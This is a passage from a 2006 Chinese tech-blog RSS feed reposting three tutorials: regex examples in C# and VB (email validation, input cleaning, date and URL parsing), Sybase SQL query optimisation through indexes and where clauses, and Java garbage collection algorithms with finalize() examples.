@"^([\w-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([\w-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$"); <br />} <br /><br /><br />2.清理输入字符串 <br />下面的代码示例使用静态 Regex.Replace 方法从字符串中抽出无效字符。您可以使用这里定义的 CleanInput 方法，清除掉在接受用户输入的窗体的文本字段中输入的可能有害的字符。CleanInput 在清除掉除 @、-（连字符）和 .（句点）以外的所有非字母数字字符后返回一个字符串。 <br /><br />[Visual Basic] <br />Function CleanInput(strIn As String) As String <br />' Replace invalid characters with empty strings. <br />Return Regex.Replace(strIn, "[^\w\.@-]", "") <br />End Function <br />[C#] <br />String CleanInput(string strIn) <br />{ <br />// Replace invalid characters with empty strings. <br />return Regex.Replace(strIn, @"[^\w\.@-]", ""); <br />} <br /><br /><br />3.更改日期格式 <br />以下代码示例使用 Regex.Replace 方法来用 dd-mm-yy 的日期形式代替 mm/dd/yy 的日期形式。 <br /><br />[Visual Basic] <br />Function MDYToDMY(input As String) As String <br />Return Regex.Replace(input, _ <br />"\b(?&lt;month&gt;\d{1,2})/(?&lt;day&gt;\d{1,2})/(?&lt;year&gt;\d{2,4})\b", _ <br />"${day}-${month}-${year}") <br />End Function <br />[C#] <br />String MDYToDMY(String input) <br />{ <br />return Regex.Replace(input, <br />"\\b(?&lt;month&gt;\\d{1,2})/(?&lt;day&gt;\\d{1,2})/(?&lt;year&gt;\\d{2,4})\\b", <br />"${day}-${month}-${year}"); <br />} <br />Regex 替换模式 <br />本示例说明如何在 Regex.Replace 的替换模式中使用命名的反向引用。其中，替换表达式 ${day} 插入由 (?&lt;day&gt;...) 组捕获的子字符串。 <br /><br />有几种静态函数使您可以在使用正则表达式操作时无需创建显式正则表达式对象，而 Regex.Replace 函数正是其中之一。如果您不想保留编译的正则表达式，这将给您带来方便 <br /><br /><br />4.提取 URL 信息 <br />以下代码示例使用 Match.Result 来从 URL 提取协议和端口号。例如，“http://www.contoso.com:8080/letters/readme.html”将返回“http:8080”。 <br /><br />[Visual Basic] <br />Function Extension(url As String) As String <br />Dim r As New Regex("^(?&lt;proto&gt;\w+)://[^/]+?(?&lt;port&gt;:\d+)?/", _ <br />RegexOptions.Compiled) <br />Return r.Match(url).Result("${proto}${port}") <br />End Function <br />[C#] <br />String Extension(String url) <br />{ <br />Regex r = new Regex(@"^(?&lt;proto&gt;\w+)://[^/]+?(?&lt;port&gt;:\d+)?/", <br />RegexOptions.Compiled); <br />return r.Match(url).Result("${proto}${port}"); <br />} <br /><a id="Comments.ascx_CommentList__ctl0_EditLink" href="javascript:__doPostBack('Comments.ascx$CommentList$_ctl0$EditLink','')"></a></div>
				<br />
				<div class="postfoot">posted 2004-10-25 14:42:00.0 </div>
		</div>
		<a name="Feedback">
				<div id="comments">
						<h3>Feedback</h3>
						<div class="post">
								<div class="postTitle">RE:经典正则表达式 </div>
								<div class="postText">
										<p>怎么能剔除Text中的html标记！在线等！！！</p>
								</div>
								<div class="postfoot">posted @2005-11-11 16:59:00.0 <a href="http://www.zsrefer.com/"><font color="#002c99">Ghost</font></a></div>
						</div>
						<br />
				</div>
		</a>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8423.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:52 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8423.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何让你的SQL运行得更快 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8402.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 05:21:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8402.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8402.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8402.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8402.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8402.html</trackback:ping><description><![CDATA[
		<div class="postTitle">
				<a href="http://blog.tomxp.com/view/263.html#">
				</a> </div>
		<div class="postText">    人们在使用SQL时往往会陷入一个误区，即太关注于所得的结果是否正确，而忽略了不同的实现方法之间可能存在的性能差异，这种性能差异在大型的或是复杂的数据库环境中（如联机事务处理OLTP或决策支持系统DSS）中表现得尤为明显。笔者在工作实践中发现，不良的SQL往往来自于不恰当的索引设计、不充份的连接条件和不可优化的where子句。在对它们进行适当的优化后，其运行速度有了明显地提高！下面我将从这三个方面分别进行总结：<br />    为了更直观地说明问题，所有实例中的SQL运行时间均经过测试，不超过１秒的均表示为（&lt; 1秒）。 <br />     测试环境-- <br />     主机：HP LH II <br />     主频：330MHZ <br />     内存：128兆 <br />     操作系统：Operserver5.0.4 <br />    数据库：Sybase11.0.3 <br /><br />    <b>一、不合理的索引设计</b><br />    例：表record有620000行，试看在不同的索引下，下面几个 SQL的运行情况： <br />     1.在date上建有一非个群集索引 <ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select count(*) from record where date &gt; 
′19991201′ and date &lt; ′19991214′and amount &gt; 
2000 (25秒) 
select date,sum(amount) from record group by date 
(55秒) 
select count(*) from record where date &gt; 
′19990901′ and place in (′BJ′,′SH′) (27秒)</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />    date上有大量的重复值，在非群集索引下，数据在物理上随机存放在数据页上，在范围查找时，必须执行一次表扫描才能找到这一范围内的全部行。 <br /><br /><br />     2.在date上的一个群集索引 <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select count(*) from record where date &gt; 
′19991201′ and date &lt; ′19991214′ and amount &gt; 
2000 （14秒） 
select date,sum(amount) from record group by date 
（28秒） 
select count(*) from record where date &gt; 
′19990901′ and place in (′BJ′,′SH′)（14秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />     在群集索引下，数据在物理上按顺序在数据页上，重复值也排列在一起，因而在范围查找时，可以先找到这个范围的起末点，且只在这个范围内扫描数据页，避免了大范围扫描，提高了查询速度。 <br /><br /><br />     3.在place，date，amount上的组合索引 <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select count(*) from record where date &gt; 
′19991201′ and date &lt; ′19991214′ and amount &gt; 
2000 （26秒） 
select date,sum(amount) from record group by date 
（27秒） 
select count(*) from record where date &gt; 
′19990901′ and place in (′BJ, ′SH′)（&lt; 1秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />     这是一个不很合理的组合索引，因为它的前导列是place，第一和第二条SQL没有引用place，因此也没有利用上索引；第三个SQL使用了place，且引用的所有列都包含在组合索引中，形成了索引覆盖，所以它的速度是非常快的。 <br /><br /><br />     4.在date，place，amount上的组合索引 <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select count(*) from record where date &gt; 
′19991201′ and date &lt; ′19991214′ and amount &gt; 
2000(&lt; 1秒) 
select date,sum(amount) from record group by date 
（11秒） 
select count(*) from record where date &gt; 
′19990901′ and place in (′BJ′,′SH′)（&lt; 1秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />     这是一个合理的组合索引。它将date作为前导列，使每个SQL都可以利用索引，并且在第一和第三个SQL中形成了索引覆盖，因而性能达到了最优。 <br /><br /><br />     5.总结： <br /><br /><br />     缺省情况下建立的索引是非群集索引，但有时它并不是最佳的；合理的索引设计要建立在对各种查询的分析和预测上。一般来说： <br /><br /><br />     ①.有大量重复值、且经常有范围查询（between, &gt;,&lt; ，&gt;=,&lt; =）和order by 、group by发生的列，可考虑建立群集索引； <br /><br /><br />     ②.经常同时存取多列，且每列都含有重复值可考虑建立组合索引； <br /><br /><br />     ③.组合索引要尽量使关键查询形成索引覆盖，其前导列一定是使用最频繁的列。 <br /><br /><br /><br />    <b>二、不充份的连接条件： </b><br /><br /><br />     例：表card有7896行，在card_no上有一个非聚集索引，表account有191122行，在 account_no上有一个非聚集索引，试看在不同的表连接条件下，两个SQL的执行情况： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select sum(a.amount) from account a, 
card b where a.card_no = b.card_no（20秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     将SQL改为： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select sum(a.amount) from account a, 
card b where a.card_no = b.card_no and a. 
account_no=b.account_no（&lt; 1秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />     在第一个连接条件下，最佳查询方案是将account作外层表，card作内层表，利用card上的索引，其I/O次数可由以下公式估算为： <br /><br /><br />     外层表account上的22541页+（外层表account的191122行*内层表card上对应外层表第一行所要查找的3页）=595907次I/O <br /><br /><br />     在第二个连接条件下，最佳查询方案是将card作外层表，account作内层表，利用account上的索引，其I/O次数可由以下公式估算为： <br /><br /><br />     外层表card上的1944页+（外层表card的7896行*内层表account上对应外层表每一行所要查找的4页）= 33528次I/O <br /><br /><br />     可见，只有充份的连接条件，真正的最佳方案才会被执行。 <br /><br /><br />     总结： <br /><br /><br />     1.多表操作在被实际执行前，查询优化器会根据连接条件，列出几组可能的连接方案并从中找出系统开销最小的最佳方案。连接条件要充份考虑带有索引的表、行数多的表；内外表的选择可由公式：外层表中的匹配行数*内层表中每一次查找的次数确定，乘积最小为最佳方案。 <br /><br /><br />     2.查看执行方案的方法-- 用set showplanon，打开showplan选项，就可以看到连接顺序、使用何种索引的信息；想看更详细的信息，需用sa角色执行dbcc(3604,310,302)。 <br /><br />    <b>三、不可优化的where子句 </b><br /><br /><br />     1.例：下列SQL条件语句中的列都建有恰当的索引，但执行速度却非常慢： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select * from record where 
substring(card_no,1,4)=′5378′(13秒) 
select * from record where 
amount/30&lt; 1000（11秒） 
select * from record where 
convert(char(10),date,112)=′19991201′（10秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />     where子句中对列的任何操作结果都是在SQL运行时逐列计算得到的，因此它不得不进行表搜索，而没有使用该列上面的索引；如果这些结果在查询编译时就能得到，那么就可以被SQL优化器优化，使用索引，避免表搜索，因此将SQL重写成下面这样： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select * from record where card_no like 
′5378%′（&lt; 1秒） 
select * from record where amount 
&lt; 1000*30（&lt; 1秒） 
select * from record where date= ′1999/12/01′ 
（&lt; 1秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     你会发现SQL明显快起来！ <br /><br /><br />     2.例：表stuff有200000行，id_no上有非群集索引，请看下面这个SQL： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select count(*) from stuff where id_no in(′0′,′1′) 
（23秒）</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     分析： <br /><br /><br />     where条件中的′in′在逻辑上相当于′or′，所以语法分析器会将in (′0′,′1′)转化为id_no =′0′ or id_no=′1′来执行。我们期望它会根据每个or子句分别查找，再将结果相加，这样可以利用id_no上的索引；但实际上（根据showplan）,它却采用了"OR策略"，即先取出满足每个or子句的行，存入临时数据库的工作表中，再建立唯一索引以去掉重复行，最后从这个临时表中计算结果。因此，实际过程没有利用id_no上索引，并且完成时间还要受tempdb数据库性能的影响。 <br /><br /><br />     实践证明，表的行数越多，工作表的性能就越差，当stuff有620000行时，执行时间竟达到220秒！还不如将or子句分开： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>select count(*) from stuff where id_no=′0′ 
select count(*) from stuff where id_no=′1′</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     得到两个结果，再作一次加法合算。因为每句都使用了索引，执行时间只有3秒，在620000行下，时间也只有4秒。或者，用更好的方法，写一个简单的存储过程： <br /><br /><ccid_nobr><table cellspacing="0" bordercolordark="#ffffff" cellpadding="2" width="400" align="center" bordercolorlight="black" border="1"><tbody><tr><td class="code" style="FONT-SIZE: 9pt" bgcolor="#e6e6e6"><pre><ccid_code>create proc count_stuff as 
declare @a int 
declare @b int 
declare @c int 
declare @d char(10) 
begin 
select @a=count(*) from stuff where id_no=′0′ 
select @b=count(*) from stuff where id_no=′1′ 
end 
select @c=@a+@b 
select @d=convert(char(10),@c) 
print @d</ccid_code></pre></td></tr></tbody></table></ccid_nobr><br /><br /><br />     直接算出结果，执行时间同上面一样快！ <br /><br /><br />     总结： <br /><br /><br />     可见，所谓优化即where子句利用了索引，不可优化即发生了表扫描或额外开销。 <br /><br /><br />     1.任何对列的操作都将导致表扫描，它包括数据库函数、计算表达式等等，查询时要尽可能将操作移至等号右边。 <br /><br /><br />     2.in、or子句常会使用工作表，使索引失效；如果不产生大量重复值，可以考虑把子句拆开；拆开的子句中应该包含索引。 <br /><br /><br />     3.要善于使用存储过程，它使SQL变得更加灵活和高效。 <br /><br /><br />     从以上这些例子可以看出，SQL优化的实质就是在结果正确的前提下，用优化器可以识别的语句，充份利用索引，减少表扫描的I/O次数，尽量避免表搜索的发生。其实SQL的性能优化是一个复杂的过程，上述这些只是在应用层次的一种体现，深入研究还会涉及数据库层的资源配置、网络层的流量控制以及操作系统层的总体设计。（T111）</div>
<img src ="http://www.cnitblog.com/weitom1982/aggbug/8402.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/weitom1982/" target="_blank">高山流水</a> 2006-03-31 13:21 <a href="http://www.cnitblog.com/weitom1982/archive/2006/03/31/8402.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java堆的管理--垃圾回收 </title><link>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8384.html</link><dc:creator>高山流水</dc:creator><author>高山流水</author><pubDate>Fri, 31 Mar 2006 04:44:00 GMT</pubDate><guid>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8384.html</guid><wfw:comment>http://www.cnitblog.com/weitom1982/comments/8384.html</wfw:comment><comments>http://www.cnitblog.com/weitom1982/archive/2006/03/31/8384.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/weitom1982/comments/commentRss/8384.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/weitom1982/services/trackbacks/8384.html</trackback:ping><description><![CDATA[
		<div class="post">
				<div class="postTitle">                                Java堆的管理--垃圾回收</div>
				<div class="postText">
						<p align="center">作者：<a href="http://gceclub.sun.com.cn/yuanchuang/week-9/gc.html#author"><font color="#9966cc">刘学超</font></a></p>
						<a name="author">
						</a>
						<p>
								<b>作者简介</b>
						</p>
						<p class="normal">刘学超，华中师范大学计算机科学系网络与通讯研究所，你可以通过<a href="mailto:shuechao_lau@hotmail.com"><font color="#594fbf">shuechao_lau@hotmail.com</font></a>与他联系。</p>
						<p>
								<b>1  引言</b>
						</p>
						<p class="normal">Java的堆是一个运行时数据区,类的实例(对象)从中分配空间。Java虚拟机(JVM)的堆中储存着正在运行的应用程序所建立的所有对象，这些对象通过new、newarray、anewarray和multianewarray等指令建立，但是它们不需要程序代码来显式地释放。一般来说，堆的是由垃圾回收 来负责的，尽管JVM规范并不要求特殊的垃圾回收技术，甚至根本就不需要垃圾回收，但是由于内存的有限性，JVM在实现的时候都有一个由垃圾回收所管理的堆。垃圾回收是一种动态存储管理技术，它自动地释放不再被程序引用的对象，按照特定的垃圾收集算法来实现资源自动回收的功能。</p>
						<p>
								<b>2  垃圾收集的意义</b>
						</p>
						<p class="normal">在C++中，对象所占的内存在程序结束运行之前一直被占用，在明确释放之前不能分配给其它对象；而在Java中，当没有对象引用指向原先分配给某个对象的内存时，该内存便成为垃圾。JVM的一个系统级线程会自动释放该内存块。垃圾收集意味着程序不再需要的对象是"无用信息"，这些信息将被丢弃。当一个对象不再被引用的时候，内存回收它占领的空间，以便空间被后来的新对象使用。事实上，除了释放没用的对象，垃圾收集也可以清除内存记录碎片。由于创建对象和垃圾收集器释放丢弃对象所占的内存空间，内存会出现碎片。碎片是分配给对象的内存块之间的空闲内存洞。碎片整理将所占用的堆内存移到堆的一端，JVM将整理出的内存分配给新的对象。</p>
						<p class="normal">垃圾收集能自动释放内存空间，减轻编程的负担。这使Java 虚拟机具有一些优点。首先，它能使编程效率提高。在没有垃圾收集机制的时候，可能要花许多时间来解决一个难懂的存储器问题。在用Java语言编程的时候，靠垃圾收集机制可大大缩短时间。其次是它保护程序的完整性, 垃圾收集是Java语言安全性策略的一个重要部份。</p>
						<p class="normal">垃圾收集的一个潜在的缺点是它的开销影响程序性能。Java虚拟机必须追踪运行程序中有用的对象, 而且最终释放没用的对象。这一个过程需要花费处理器的时间。其次垃圾收集算法的不完备性，早先采用的某些垃圾收集算法就不能保证100%收集到所有的废弃内存。当然随着垃圾收集算法的不断改进以及软硬件运行效率的不断提升，这些问题都可以迎刃而解。</p>
						<b>3  垃圾收集的算法分析</b>
						<p>
						</p>
						<p class="normal">Java语言规范没有明确地说明JVM使用哪种垃圾回收算法，但是任何一种垃圾收集算法一般要做2件基本的事情：（1）发现无用信息对象；（2）回收被无用对象占用的内存空间，使该空间可被程序再次使用。</p>
						<p class="normal">大多数垃圾回收算法使用了根集(root set)这个概念；所谓根集就量正在执行的Java程序可以访问的引用变量的集合(包括局部变量、参数、类变量)，程序可以使用引用变量访问对象的属性和调用对象的方法。垃圾收集首选需要确定从根开始哪些是可达的和哪些是不可达的，从根集可达的对象都是活动对象，它们不能作为垃圾被回收，这也包括从根集间接可达的对象。而根集通过任意路径不可达的对象符合垃圾收集的条件，应该被回收。下面介绍几个常用的算法。</p>
						<p>
								<b>3.1  引用计数法(Reference Counting Collector)</b>
						</p>
						<p class="normal">引用计数法是唯一没有使用根集的垃圾回收得法，该算法使用引用计数器来区分存活对象和不再使用的对象。一般来说，堆中的每个对象对应一个引用计数器。当每一次创建一个对象并赋给一个变量时，引用计数器置为1。当对象被赋给任意变量时，引用计数器每次加1。当对象出了作用域后(该对象丢弃不再使用)，引用计数器减1，一旦引用计数器为0，对象就满足了垃圾收集的条件。</p>
						<p class="normal">基于引用计数器的垃圾收集器运行较快，不会长时间中断程序执行，适宜地必须 实时运行的程序。但引用计数器增加了程序执行的开销，因为每次对象赋给新的变量 ，计数器加1，而每次现有对象出了作用域生，计数器减1。</p>
						<p>
								<b>3.2  tracing算法(Tracing Collector)</b>
						</p>
						<p class="normal">tracing算法是为了解决引用计数法的问题而提出，它使用了根集的概念。基于tracing算法的垃圾收集器从根集开始扫描，识别出哪些对象可达，哪些对象不可达，并用某种方式标记可达对象，例如对每个可达对象设置一个或多个位。在扫描识别过程中，基于tracing算法的垃圾收集也称为标记和清除(mark-and-sweep)垃圾收集器.</p>
						<p>
								<b>3.3  compacting算法(Compacting Collector)</b>
						</p>
						<p class="normal">为了解决堆碎片问题，基于tracing的垃圾回收吸收了Compacting算法的思想，在清除的过程中，算法将所有的对象移到堆的一端，堆的另一端就变成了一个相邻的空闲内存区，收集器会对它移动的所有对象的所有引用进行更新，使得这些引用 在新的位置能识别原来 的对象。在基于Compacting算法的收集器的实现中，一般增加句柄和句柄表。</p>
						<p>
								<b>3.4  coping算法(Coping Collector)</b>
						</p>
						<p class="normal">该算法的提出是为了克服句柄的开销和解决堆碎片的垃圾回收。它开始时把堆分成 一个对象 面和多个空闲面， 程序从对象面为对象分配空间，当对象满了，基于coping算法的垃圾 收集就从根集中扫描活动对象，并将每个 活动对象复制到空闲面(使得活动对象所占的内存之间没有空闲洞)，这样空闲面变成了对象面，原来的对象面变成了空闲面，程序会在新的对象面中分配内存。</p>
						<p class="normal">一种典型的基于coping算法的垃圾回收是stop-and-copy算法，它将堆分成对象面和空闲区域面，在对象面与空闲区域面的切换过程中，程序暂停执行。</p>
						<p>
								<b>3.5  generation算法(Generational Collector)</b>
						</p>
						<p class="normal">stop-and-copy垃圾收集器的一个缺陷是收集器必须复制所有的活动对象，这增加了程序等待时间，这是coping算法低效的原因。在程序设计中有这样的规律：多数对象存在的时间比较短，少数的存在时间比较长。因此，generation算法将堆分成两个或多个，每个子堆作为对象的一代(generation)。由于多数对象存在的时间比较短，随着程序丢弃不使用的对象，垃圾收集器将从最年轻的子堆中收集这些对象。在分代式的垃圾收集器运行后，上次运行存活下来的对象移到下一最高代的子堆中，由于老一代的子堆不会经常被回收，因而节省了时间。</p>
						<p>
								<b>3.6  adaptive算法(Adaptive Collector)</b>
						</p>
						<p class="normal">在特定的情况下，一些垃圾收集算法会优于其它算法。基于Adaptive算法的垃圾收集器就是监控当前堆的使用情况，并将选择适当算法的垃圾收集器。</p>
						<p>
								<b>4  透视Java垃圾回收</b>
						</p>
						<p>
								<b>4.1  命令行参数透视垃圾收集器的运行</b>
						</p>
						<p class="normal">使用System.gc()可以不管JVM使用的是哪一种垃圾回收的算法，都可以请求Java的垃圾回收。在命令行中有一个参数-verbosegc可以查看Java使用的堆内存的情况，它的格式如下：</p>
						<pre>java -verbosegc classfile
</pre>
						<p class="normal">可以看个例子：</p>
						<pre>class TestGC 
{
	public static void main(String[] args) 
	{
		new TestGC();
		System.gc();
		System.runFinalization();
	}
}
</pre>
						<p class="normal">在这个例子中，一个新的对象被创建，由于它没有使用，所以该对象迅速地变为可达，程序编译后，执行命令： java -verbosegc TestGC 后结果为：</p>
						<pre>[Full GC 168K-&gt;97K(1984K), 0.0253873 secs]
</pre>
						<p class="normal">机器的环境为，Windows 2000 + JDK1.3.1,箭头前后的数据168K和97K分别表示垃圾收集GC前后所有存活对象使用的内存容量，说明有168K-97K=71K的对象容量被回收，括号内的数据1984K为堆内存的总容量，收集所需要的时间是0.0253873秒（这个时间在每次执行的时候会有所不同）。</p>
						<p>
								<b>4.2  finalize方法透视垃圾收集器的运行</b>
						</p>
						<p class="normal">在JVM垃圾收集器收集一个对象之前 ，一般要求程序调用适当的方法释放资源，但在没有明确释放资源的情况下，Java提供了缺省机制来终止化该对象心释放资源，这个方法就是finalize（）。它的原型为：</p>
						<pre>protected void finalize() throws Throwable
</pre>
						<p class="normal">在finalize()方法返回之后，对象消失，垃圾收集开始执行。原型中的throws Throwable表示它可以抛出任何类型的异常。</p>
						<p class="normal">之所以要使用finalize()，是由于有时需要采取与Java的普通方法不同的一种方法，通过分配内存来做一些具有C风格的事情。这主要可以通过"固有方法"来进行，它是从Java里调用非Java方法的一种方式。C和C++是目前唯一获得固有方法支持的语言。但由于它们能调用通过其他语言编写的子程序，所以能够有效地调用任何东西。在非Java代码内部，也许能调用C的malloc()系列函数，用它分配存储空间。而且除非调用了free()，否则存储空间不会得到释放，从而造成内存"漏洞"的出现。当然，free()是一个C和C++函数，所以我们需要在finalize()内部的一个固有方法中调用它。也就是说我们不能过多地使用finalize()，它并不是进行普通清除工作的理想场所。</p>
						<p class="normal">在普通的清除工作中，为清除一个对象，那个对象的用户必须在希望进行清除的地点调用一个清除方法。这与C++"破坏器"的概念稍有抵触。在C++中，所有对象都会破坏（清除）。或者换句话说，所有对象都"应该"破坏。若将C++对象创建成一个本地对象，比如在堆栈中创建（在Java中是不可能的），那么清除或破坏工作就会在"结束花括号"所代表的、创建这个对象的作用域的末尾进行。若对象是用new创建的（类似于Java），那么当程序员调用C++的delete命令时（Java没有这个命令），就会调用相应的破坏器。若程序员忘记了，那么永远不会调用破坏器，我们最终得到的将是一个内存"漏洞"，另外还包括对象的其他部分永远不会得到清除。</p>
						<p class="normal">相反，Java不允许我们创建本地（局部）对象--无论如何都要使用new。但在Java中，没有"delete"命令来释放对象，因为垃圾收集器会帮助我们自动释放存储空间。所以如果站在比较简化的立场，我们可以说正是由于存在垃圾收集机制，所以Java没有破坏器。然而，随着以后学习的深入，就会知道垃圾收集器的存在并不能完全消除对破坏器的需要，或者说不能消除对破坏器代表的那种机制的需要（而且绝对不能直接调用finalize()，所以应尽量避免用它）。若希望执行除释放存储空间之外的其他某种形式的清除工作，仍然必须调用Java中的一个方法。它等价于C++的破坏器，只是没后者方便。</p>
						<p class="normal">下面这个例子向大家展示了垃圾收集所经历的过程，并对前面的陈述进行了总结。</p>
						<pre>class Chair {
  static boolean gcrun = false;
  static boolean f = false;
  static int created = 0;
  static int finalized = 0;
  int i;
  Chair() {
    i = ++created;
    if(created == 47) 
      System.out.println("Created 47");
  }
  protected void finalize() {
    if(!gcrun) {
      gcrun = true;
      System.out.println(
        "Beginning to finalize after " +
        created + " Chairs have been created");
    }
    if(i == 47) {
      System.out.println(
        "Finalizing Chair #47, " +
        "Setting flag to stop Chair creation");
      f = true;
    }
    finalized++;
    if(finalized &gt;= created)
      System.out.println(
        "All " + finalized + " finalized");
  }
}

public class Garbage {
  public static void main(String[] args) {
    if(args.length == 0) {
      System.err.println("Usage: \n" +
        "java Garbage before\n  or:\n" +
        "java Garbage after");
      return;
    }
    while(!Chair.f) {
      new Chair();
      new String("To take up space");
    }
    System.out.println(
      "After all Chairs have been created:\n" +
      "total created = " + Chair.created +
      ", total finalized = " + Chair.finalized);
    if(args[0].equals("before")) {
      System.out.println("gc():");
      System.gc();
      System.out.println("runFinalization():");
      System.runFinalization();
    }
    System.out.println("bye!");
    if(args[0].equals("after"))
      System.runFinalizersOnExit(true);
  }
}
</pre>
						<p class="normal">上面这个程序创建了许多Chair对象，而且在垃圾收集器开始运行后的某些时候，程序会停止创建Chair。由于垃圾收集器可能在任何时间运行，所以我们不能准确知道它在何时启动。因此，程序用一个名为gcrun的标记来指出垃圾收集器是否已经开始运行。利用第二个标记f，Chair可告诉main()它应停止对象的生成。这两个标记都是在finalize()内部设置的，它调用于垃圾收集期间。另两个static变量--created以及finalized--分别用于跟踪已创建的对象数量以及垃圾收集器已进行完收尾工作的对象数量。最后，每个Chair都有它自己的（非static）int i，所以能跟踪了解它具体的编号是多少。编号为47的Chair进行完收尾工作后，标记会设为true，最终结束Chair对象的创建过程。（关于这个例子的更具体的分析和说明请参看《Java编程思想》的第四章）</p>
						<p>
								<b>5  关于垃圾收集的几点补充</b>
						</p>
						<p class="normal">经过上述的说明，可以发现垃圾回收有以下的几个特点：</p>
						<p class="normal">（1）垃圾收集发生的不可预知性：由于实现了不同的垃圾收集算法和采用了不同的收集机制，所以它有可能是定时发生，有可能是当出现系统空闲CPU资源时发生，也有可能是和原始的垃圾收集一样，等到内存消耗出现极限时发生，这与垃圾收集器的选择和具体的设置都有关系。</p>
						<p class="normal">（2）垃圾收集的精确性：主要包括2 个方面：（a）垃圾收集器能够精确标记活着的对象；（b）垃圾收集器能够精确地定位对象之间的引用关系。前者是完全地回收所有废弃对象的前提，否则就可能造成内存泄漏。而后者则是实现归并和复制等算法的必要条件。所有不可达对象都能够可靠地得到回收，所有对象都能够重新分配，允许对象的复制和对象内存的缩并，这样就有效地防止内存的支离破碎。</p>
						<p class="normal">（3）现在有许多种不同的垃圾收集器，每种有其算法且其表现各异，既有当垃圾收集开始时就停止应用程序的运行，又有当垃圾收集开始时也允许应用程序的线程运行，还有在同一时间垃圾收集多线程运行。</p>
						<p class="normal">（4）垃圾收集的实现和具体的JVM 以及JVM的内存模型有非常紧密的关系。不同的JVM 可能采用不同的垃圾收集，而JVM 的内存模型决定着该JVM可以采用哪些类型垃圾收集。现在，HotSpot 系列JVM中的内存系统都采用先进的面向对象的框架设计，这使得该系列JVM都可以采用最先进的垃圾收集。</p>
						<p class="normal">（5）随着技术的发展，现代垃圾收集技术提供许多可选的垃圾收集器，而且在配置每种收集器的时候又可以设置不同的参数，这就使得根据不同的应用环境获得最优的应用性能成为可能。</p>
						<p class="normal">针对以上特点，我们在使用的时候要注意：</p>
						<p class="normal">（1）不要试图去假定垃圾收集发生的时间，这一切都是未知的。比如，方法中的一个临时对象在方法调用完毕后就变成了无用对象，这个时候它的内存就可以被释放。</p>
